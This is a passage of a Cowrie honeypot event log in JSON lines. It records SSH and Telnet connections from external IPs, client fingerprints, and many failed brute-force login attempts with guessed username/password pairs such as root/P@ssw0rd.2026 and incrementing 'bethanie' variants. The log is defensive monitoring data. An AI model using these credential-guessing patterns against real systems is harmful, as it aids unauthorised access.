"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:15.305579Z","src_ip":"193.32.162.145","session":"a8b411773977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:15.610975Z","src_ip":"193.32.162.145","session":"a8b411773977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:16.714183Z","src_ip":"193.32.162.145","session":"a8b411773977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.137.131.78","src_port":55713,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd67da70d73","protocol":"telnet","message":"New connection: 121.137.131.78:55713 (10.17.0.5:23) [session: 2fd67da70d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:21.656526Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23310,"dst_ip":"159.203.135.109","dst_port":22,"session":"64fa73429f96","protocol":"ssh","message":"New connection: 213.209.159.56:23310 (159.203.135.109:22) [session: 64fa73429f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:28.895705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:28.904350Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:28.986102Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie","message":"login attempt [bethanie/bethanie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:29.386833Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00099658966064,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:29.513460Z","src_ip":"212.55.149.117","session":"c7af79698772","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie1","message":"login attempt [bethanie/bethanie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:30.472446Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie123","message":"login attempt [bethanie/bethanie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:31.558123Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie1234","message":"login attempt [bethanie/bethanie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:32.643642Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie12345","message":"login attempt [bethanie/bethanie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:33.729238Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.120550632476807,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:34.776982Z","src_ip":"121.137.131.78","session":"2fd67da70d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:34.814368Z","src_ip":"213.209.159.56","session":"64fa73429f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50790,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ff84f45b1c4","protocol":"ssh","message":"New connection: 193.32.162.145:50790 (10.17.0.5:22) [session: 0ff84f45b1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:18.343784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:18.348998Z","src_ip":"193.32.162.145","session":"0ff84f45b1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:18.469294Z","src_ip":"193.32.162.145","session":"0ff84f45b1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:18.785201Z","src_ip":"193.32.162.145","session":"0ff84f45b1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.101.83.197","src_port":43401,"dst_ip":"10.17.0.5","dst_port":23,"session":"03eaea98578c","protocol":"telnet","message":"New connection: 199.101.83.197:43401 (10.17.0.5:23) [session: 03eaea98578c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:18.988020Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:19.902292Z","src_ip":"193.32.162.145","session":"0ff84f45b1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":5708,"dst_ip":"10.17.0.5","dst_port":23,"session":"3145486af138","protocol":"telnet","message":"New connection: 212.55.149.117:5708 (10.17.0.5:23) [session: 3145486af138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:27.986067Z"}
{"eventid":"cowrie.session.closed","duration":13.876770973205566,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:55:32.864664Z","src_ip":"199.101.83.197","session":"03eaea98578c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32641,"dst_ip":"10.17.0.5","dst_port":23,"session":"babfc2f77662","protocol":"telnet","message":"New connection: 212.55.149.117:32641 (10.17.0.5:23) [session: babfc2f77662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:56:43.091339Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.160.200.59","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e16289da810","protocol":"telnet","message":"New connection: 45.160.200.59:43988 (10.17.0.5:23) [session: 0e16289da810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:20.356228Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42194,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b735b2fa304","protocol":"ssh","message":"New connection: 193.32.162.145:42194 (10.17.0.5:22) [session: 1b735b2fa304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:27.170425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:27.174926Z","src_ip":"193.32.162.145","session":"1b735b2fa304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:27.293078Z","src_ip":"193.32.162.145","session":"1b735b2fa304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:27.605424Z","src_ip":"193.32.162.145","session":"1b735b2fa304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018060207367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:27.987766Z","src_ip":"212.55.149.117","session":"3145486af138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:28.730823Z","src_ip":"193.32.162.145","session":"1b735b2fa304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.639002084732056,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:32.995099Z","src_ip":"45.160.200.59","session":"0e16289da810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.58567714691162,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:43.676916Z","src_ip":"212.55.149.117","session":"babfc2f77662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.61.128.157","src_port":60880,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f8cbbf20ebc","protocol":"telnet","message":"New connection: 38.61.128.157:60880 (159.203.135.109:23) [session: 7f8cbbf20ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:57:58.795942Z"}
{"eventid":"cowrie.session.closed","duration":12.53953742980957,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:58:11.335351Z","src_ip":"38.61.128.157","session":"7f8cbbf20ebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":64987,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e30ae3bf8bd","protocol":"telnet","message":"New connection: 212.55.149.117:64987 (10.17.0.5:23) [session: 1e30ae3bf8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:58:16.898468Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":37972,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c31018d1d6c","protocol":"ssh","message":"New connection: 18.218.118.203:37972 (10.17.0.5:22) [session: 0c31018d1d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:58:19.696450Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:58:19.701480Z","src_ip":"18.218.118.203","session":"0c31018d1d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:58:19.705601Z","src_ip":"18.218.118.203","session":"0c31018d1d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.93860363960266,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:17.836975Z","src_ip":"212.55.149.117","session":"1e30ae3bf8bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":33176,"dst_ip":"159.203.135.109","dst_port":22,"session":"20244ecf6ae2","protocol":"ssh","message":"New connection: 3.129.187.38:33176 (159.203.135.109:22) [session: 20244ecf6ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:21.030122Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:21.034742Z","src_ip":"3.129.187.38","session":"20244ecf6ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:21.038147Z","src_ip":"3.129.187.38","session":"20244ecf6ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33570,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd1dae6afca","protocol":"ssh","message":"New connection: 193.32.162.145:33570 (10.17.0.5:22) [session: cdd1dae6afca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:37.803286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:37.807833Z","src_ip":"193.32.162.145","session":"cdd1dae6afca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:37.916257Z","src_ip":"193.32.162.145","session":"cdd1dae6afca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:38.228814Z","src_ip":"193.32.162.145","session":"cdd1dae6afca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":50890,"dst_ip":"10.17.0.5","dst_port":22,"session":"6346c3a74e95","protocol":"ssh","message":"New connection: 103.15.226.202:50890 (10.17.0.5:22) [session: 6346c3a74e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:38.340000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:38.344790Z","src_ip":"103.15.226.202","session":"6346c3a74e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:38.589020Z","src_ip":"103.15.226.202","session":"6346c3a74e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd.2026","message":"login attempt [root/P@ssw0rd.2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:39.322277Z","src_ip":"103.15.226.202","session":"6346c3a74e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:39.375878Z","src_ip":"193.32.162.145","session":"cdd1dae6afca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:40.569550Z","src_ip":"103.15.226.202","session":"6346c3a74e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.27.89","src_port":42606,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5187524e837","protocol":"ssh","message":"New connection: 135.148.27.89:42606 (10.17.0.5:22) [session: a5187524e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:50.996335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.004517Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v